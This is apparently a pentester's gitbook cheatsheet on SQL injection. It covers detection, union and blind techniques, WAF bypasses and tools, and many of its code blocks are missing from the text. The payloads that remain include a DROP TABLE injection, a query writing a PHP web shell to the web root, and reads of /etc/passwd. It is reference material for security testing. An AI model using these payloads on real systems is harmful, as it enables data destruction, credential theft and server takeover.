SQL Injection
SQL injection: Methodology, payloads, tools
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);select * from logins where username like '%$searchInput'payload
'%1'; DROP TABLE users;'select * from logins where username like '%1'; DROP TABLE users;'return
Error: near line 1: near "'": syntax error
Cheatsheet
One Liners
install urlfinder, qsreplace, anew, ghauri, sqlmap
SQLi All
Blind SQLi
Time Based SQLi
SQLi Discovery
'
%27
"
%22
#
%23
;
%3B
)
%29
Recon
Nmap
Generic Payloads
Polyglot
Authentication Bypass
Username field:
Fuzzing
Start with "Generic Payload" List

Comments
We can use two types of line comments with MySQL -- and #, in addition to an in-line comment /**/
Auth Bypass with comments

ID parameter
Header Injection
HTTP Header ExploitationUnion
Detect number of columns - Using ORDER BY
Until we reach a number that returns an error

This means that this table has exactly 4 columns .

While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection.
Detect number of columns - using NULL
Detect data type
If the column data type is not compatible with string data, the injected query will cause a database error, such as:
Conversion failed when converting the varchar value 'a' to data type int.
Database Enumeration
Fingerprinting
SELECT @@version
When we have full query output
MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'
In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)
When we only have numeric output
1
Error with other DBMS
SELECT SLEEP(5)
Blind/No Output
Delays page response for 5 seconds and returns 0.
Will not delay response with other DBMS
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
Database
Find the current database with the SELECT database() query
Tables
Columns
Data
Retrieve multiple values with a single column - Oracle
Reading Files
MySQL (3306)DB User
User Privileges

Y = yes, super_priv
If we had many users within the DBMS:
Other privileges:
FILE privilege is listed for our user, enabling us to read files and potentially even write files
Write Files
To be able to write files to the back-end server using a MySQL database, we require three things:
User with
FILEprivilege enabledMySQL global
secure_file_privvariable not enabledWrite access to the location we want to write to on the back-end server
secure_file_priv value is empty, meaning that we can read/write files to any location.
Web Shell


Resources
Payloads
Blind SQL Injection - Conditional Response
Confirm injection by adding quote
Return a valid message ⇒ 1th letter of the password is greater than m
Return an invalid message ⇒ 1th letter of the password is lower than t
Return a valid message ⇒ 1th letter of the password is equal to s
2nd letter
3d letter
And so on


Etc.
Detect length

Blind Time Based SQLi
Time Based SQL Injection
The first of these inputs does not trigger a delay, because the condition
1=2is false.The second input triggers a delay of 10 seconds, because the condition
1=1is true.
Test one character at a time
Retrieve password - PostgreSQL


Etc.
Increase Time Delay to confirm injection
Nuclei Template
Source: https://github.com/rzizah/private-nuclei-template/blob/main/bsqli-time-based.yaml
WAF Bypass - Cloudflare
Time Based SQLi in HTTP Headers
HTTP Header ExploitationCustomBSQLi - LostSec
OAT Blind SQLi
MS SQL server
Data exfiltration
Oracle DB
Numeric SQL Injection
Wildcard SQL injection - LIKE clause
The server filtered the % wildcard, but the _ character was permitted
Error-based SQL injection
Conditional Error
The second input causes a divide-by-zero erro
Oracle DB
Password Length

Pasword value


Etc.
Turn an otherwise blind SQL injection vulnerability into a visible one
Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:
ERROR: invalid input syntax for type integer: "Example data"
Fragmented SQL Injection - two endpoints
Let’s take a look at an instance where the single quote is blacklisted or escaped from the command.
As you see in this example, because the single quote (‘) is escaped with a backslash, the payload does not work as intended by the hacker.
The backslash neutralizes the following single quote. So the value for the username column will end with the single quote that comes right after password= (the end of the gray text). Doing so will eliminate the required password field from the command. Due to the or 1 command, the condition will always return ‘true’. The # (hash) will ignore the rest of the function, and you’ll be able to bypass the login control and login form.
Email SQL injection
Email injectionsBypass - WAF / Filters
WAF BypassSQLMap - All in one
SQLMAPBypass combo


Imperva gzip bypass
No Space (%20) - bypass using whitespace alternatives
No Whitespace - bypass using comments
No Whitespace - bypass using parenthesis
No Comma - bypass using OFFSET, FROM and JOIN
Blacklist using keywords - bypass using uppercase/lowercase
Blacklist using keywords case insensitive - bypass using an equivalent operator
Information_schema.tables alternative
Version alternative
Source:
Reading / Writing Files
Dump to file
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'
Dump PHP Shell
SELECT 'system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php'
Read File
SELECT LOAD_FILE('/etc/passwd')
Read File Obfuscated
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini
File Privileges
SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'
XML-based SQL Injection
XML escape sequence to encode the S character in SELECT
With Hackvector: select the payload - right click - extensions - Hackvector - Encode - Hex Entities

Polyglots SQLi
Resources
Payload
Tools
SQLMAPScanner for time-based SQL injection (SQLi):
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated






